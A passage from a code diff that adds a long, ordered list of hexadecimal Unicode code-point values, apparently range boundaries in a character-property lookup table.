+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x55D,
+	0x55E,
+	0x561,
+	0x588,
+	0x589,
+	0x58A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F4,
+	0x600,
+	0x606,
+	0x60C,
+	0x60E,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x61F,
+	0x620,
+	0x64B,
+	0x660,
+	0x66A,
+	0x66B,
+	0x66D,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6DD,
+	0x6DE,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x703,
+	0x70F,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7C0,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7F8,
+	0x7F9,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x840,
+	0x859,
+	0x85C,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9E4,
+	0x9E6,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xABD,
+	0xABE,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF9,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB3D,
+	0xB3E,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB64,
+	0xB66,
+	0xB70,
+	0xB71,
+	0xB72,
+	0xB82,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF0,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC80,
+	0xC81,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCBD,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD58,
+	0xD5F,
+	0xD62,
+	0xD64,
+	0xD66,
+	0xD70,
+	0xD7A,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF4,
+	0xE01,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE40,
+	0xE47,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF2A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x1000,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x104A,
+	0x104C,
+	0x1050,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x1090,
+	0x109A,
+	0x109E,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x1360,
+	0x1362,
+	0x1363,
+	0x1367,
+	0x1369,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166E,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x169D,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1715,
+	0x1720,
+	0x1732,
+	0x1735,
+	0x1737,
+	0x1740,
+	0x1752,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17B4,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DD,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x1802,
+	0x1803,
+	0x1804,
+	0x1808,
+	0x1809,
+	0x180A,
+	0x180B,
+	0x180E,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1944,
+	0x1946,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DA,
+	0x1A00,
+	0x1A17,
+	0x1A1C,
+	0x1A20,
+	0x1A55,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA7,
+	0x1AA8,
+	0x1AAC,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B50,
+	0x1B5A,
+	0x1B5C,
+	0x1B5E,
+	0x1B60,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1BF4,
+	0x1C00,
+	0x1C24,
+	0x1C38,
+	0x1C3B,
+	0x1C3D,
+	0x1C40,
+	0x1C4A,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0x1D00,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F7E,
+	0x1F80,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB5,
+	0x1FB6,
+	0x1FB8,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FC8,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FD8,
+	0x1FDC,
+	0x1FE0,
+	0x1FE8,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FF8,
+	0x1FFD,
+	0x2000,
+	0x200B,
+	0x200C,
+	0x200E,
+	0x2010,
+	0x2013,
+	0x2015,
+	0x2018,
+	0x2020,
+	0x2024,
+	0x2025,
+	0x2028,
+	0x202A,
+	0x202F,
+	0x2030,
+	0x2039,
+	0x203B,
+	0x203C,
+	0x203E,
+	0x2045,
+	0x2047,
+	0x204A,
+	0x205F,
+	0x2060,
+	0x2065,
+	0x2066,
+	0x2070,
+	0x2071,
+	0x2072,
+	0x207D,
+	0x207F,
+	0x2080,
+	0x208D,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20D0,
+	0x20F1,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x210B,
+	0x210E,
+	0x2110,
+	0x2113,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2130,
+	0x2134,
+	0x2135,
+	0x2139,
+	0x213A,
+	0x213C,
+	0x213E,
+	0x2140,
+	0x2145,
+	0x2146,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2170,
+	0x2180,
+	0x2183,
+	0x2184,
+	0x2185,
+	0x2189,
+	0x2308,
+	0x230C,
+	0x2329,
+	0x232B,
+	0x24B6,
+	0x24D0,
+	0x24EA,
+	0x275B,
+	0x2761,
+	0x2768,
+	0x2776,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE5,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF2,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D7F,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E00,
+	0x2E0E,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E2A,
+	0x2E2E,
+	0x2E2F,
+	0x2E30,
+	0x2E3C,
+	0x2E3D,
+	0x2E42,
+	0x2E43,
+	0x3000,
+	0x3001,
+	0x3002,
+	0x3003,
+	0x3005,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x301C,
+	0x301D,
+	0x3020,
+	0x3021,
+	0x302A,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x309B,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA4FF,
+	0xA500,
+	0xA60D,
+	0xA60E,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA6F3,
+	0xA6F4,
+	0xA6F7,
+	0xA6F8,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA789,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA78F,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AF,
+	0xA7B0,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xA7F7,
+	0xA7F8,
+	0xA7FB,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA828,
+	0xA840,
+	0xA874,
+	0xA876,
+	0xA878,
+	0xA880,
+	0xA882,
+	0xA8B4,
+	0xA8C6,
+	0xA8CE,
+	0xA8D0,
+	0xA8DA,
+	0xA8E0,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA900,
